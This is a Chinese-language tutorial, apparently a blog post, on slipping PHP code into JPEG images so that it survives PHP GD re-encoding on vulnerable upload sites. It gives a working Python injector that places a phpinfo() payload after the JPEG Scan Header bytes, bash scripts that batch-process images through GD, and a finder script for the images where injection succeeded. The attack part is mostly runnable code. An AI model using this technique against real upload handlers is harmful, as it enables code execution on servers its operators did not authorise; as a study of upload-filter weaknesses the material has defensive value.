返回
顶部

参考链接:

前言

某些网站对用户上传的图片没有经过严谨的过滤,不限制文件后缀,只是将用户上传上来的图片使用PHP的gd库处理了一下:

<?php
(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

我们可以通过上传正常图片,更改后缀为php,然后进行访问,根据显示的内容来判断目标是否使用了gd库:

image-20210721205208394

绕过

对于这种处理方式,我们可以通过往图片中注入php代码来进行绕过

直接往图片中追加php代码是不行的,这样会破坏图片的完整性,imagecreatefromjpeg在处理这样的图片时会抹除所有的字节,我们必须要在特定的位置进行代码的注入

关于这个问题,网上已经有前辈做了相关的研究,在jpg图片的Scan Header00 0C 03 01 00 02 11 03 11 00 3F 00后面插入代码有概率绕过gd库的imagecreatefromjpeg函数

之所以说是有概率绕过,是因为在我实际测试的过程中,并不是所有的图片都可以成功注入,有些图片只在Scan Header后注入进了2~3个字节,后面的全变成了乱码,这个具体原因我不清楚

具体的绕过过程需要用到两个脚本:

php-gd.php:

<?php

//php gd.php image.jpg gd-image.jpg 0-100[optional]

(isset($argv[3]) ? $q = $argv[3] : $q = -1);
$jpg = imagecreatefromjpeg($argv[1]);
//imagejpeg ( resource $image [, mixed $to = NULL [, int $quality = -1 ]] ) : bool
imagejpeg($jpg, $argv[2], $q);
imagedestroy($jpg);
?>

jpeg-injector.py:

#!/usr/bin/python3
import sys
import binascii
import os

MAGIC_NUMBER = "03010002110311003f00"
BIN_MAGIC_NUMBER = binascii.unhexlify(MAGIC_NUMBER)

def main():
    path_to_vector_image = sys.argv[1]
    payload_code = "<?php phpinfo();?>"
    path_to_output = sys.argv[2]

    with open(path_to_vector_image, 'rb') as vector_file:
        bin_vector_data = vector_file.read()

        print("[ ] Searching for magic number...")
        magic_number_index = find_magic_number_index(bin_vector_data)

        if magic_number_index >=0:
            print("[+] Found magic number.")
            with open(path_to_output, 'wb') as infected_file:
                print("[ ] Injecting payload...")
                infected_file.write(
                    inject_payload(
                        bin_vector_data,
                        magic_number_index,
                        payload_code))
                print("[+] Payload written.")
        else:
            print("[-] Magic number not found. Exiting.")

def find_magic_number_index(
        data: bytes) -> int:
    return data.find(BIN_MAGIC_NUMBER)

def inject_payload(
        vector: bytes,
        index: int,
        payload: str) -> bytes:

    bin_payload = payload.encode()

    pre_payload = vector[:index + len(BIN_MAGIC_NUMBER)]
    post_payload = vector[index + len(BIN_MAGIC_NUMBER) + len(bin_payload):]

    return (pre_payload + bin_payload + post_payload)

if __name__ == "__main__":
    main()

由于并不是所有的图片都可以进行成功注入,我们可能需要大批量的进行测试,我编写了几个脚本来帮助简化测试

首先,将本机所有的jpg图片复制到同一个目录中:

sudo find / -name '*.jpg' -exec cp "{}" /tmp/jpgs  \;

然后我们需要将所有的图片用gd处理一下,因为注入之后我们还需要再gd处理一次,预处理是为了使图片的头部一致,便于对比

预处理脚本:

#!/bin/bash
search_dir="/tmp/jpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

注入脚本:

#!/bin/bash
search_dir="/tmp/gdjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/injectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  python3 /tmp/jpeg-injector.py $entry $dstfilename
  echo "$entry"
done

再进行一次gd渲染:

#!/bin/bash
search_dir="/tmp/injectedjpgs"
for entry in "$search_dir"/*
do
  var1="/tmp/gdinjectedjpgs/"
  basenamefordiff=`basename $entry`
  dstfilename="$var1$basenamefordiff"
  php /tmp/php-gd.php $entry $dstfilename
  echo "$entry"
done

理论上来讲,预处理步骤可以省去,这个我没测试,XDM可以自行测试

查找注入成功的图片:

import binascii
import os

for root,dirs,files in os.walk(r"/tmp/gdinjectedjpgs"):
    for file in files:
        imagepath = os.path.join(root,file)
        with open(imagepath, 'rb') as f:
            hexdata = binascii.hexlify(f.read())
            ascii_string = hexdata.decode('utf-8')
            if ascii_string.find("3c3f70687020706870696e666f28293b3f3e") != -1:
                print("bingo!")
                print(imagepath)

其中3c3f70687020706870696e666f28293b3f3e<?php phpinfo();?>的16进制对应的字符串,这个跟你前面在jpeg-injector.py中的第11行硬编码的payload的值有关

正常情况下,至少应该有一两个注入成功,如果一个都没有,你可能需要更多的jpg文件来进行测试

End

我不能直接把做好的图片放出来,懂的都懂

另外,在本地使用gd进行图片的处理时最好使用和目标php版本一致的php